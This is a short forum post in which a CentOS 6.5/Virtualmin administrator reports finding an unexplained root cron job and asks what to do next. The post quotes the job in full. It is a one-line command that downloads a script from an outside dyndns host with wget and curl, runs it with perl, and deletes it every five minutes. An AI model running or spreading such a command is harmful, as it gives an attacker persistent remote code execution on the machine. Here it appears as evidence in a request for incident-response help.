Suspect cron job Centos 6.5 + Virtualmin, Recommended course of action?
- by sr_1436048
I was doing some routine maintenance on my server and noticed a new cron job. It is set to run every 5 minutes as root:
cd /tmp;wget http://eventuallydown.dyndns.biz/abc.txt;curl -O http://eventuallydown.dyndns.biz/abc.txt;perl abc.txt;rm -f abc*
I've tried to download the file, but there is nothing to download. The server is running normally and there are no strange signs that the box has been compromised other than this entry.
The only thing I can think of is I recently installed Varnish Cache following this tutorial.
Given that I did not enter the cron job and that there appears to be nothing wrong, besides disabling that cron job what would be the appropriate course of action from this point?
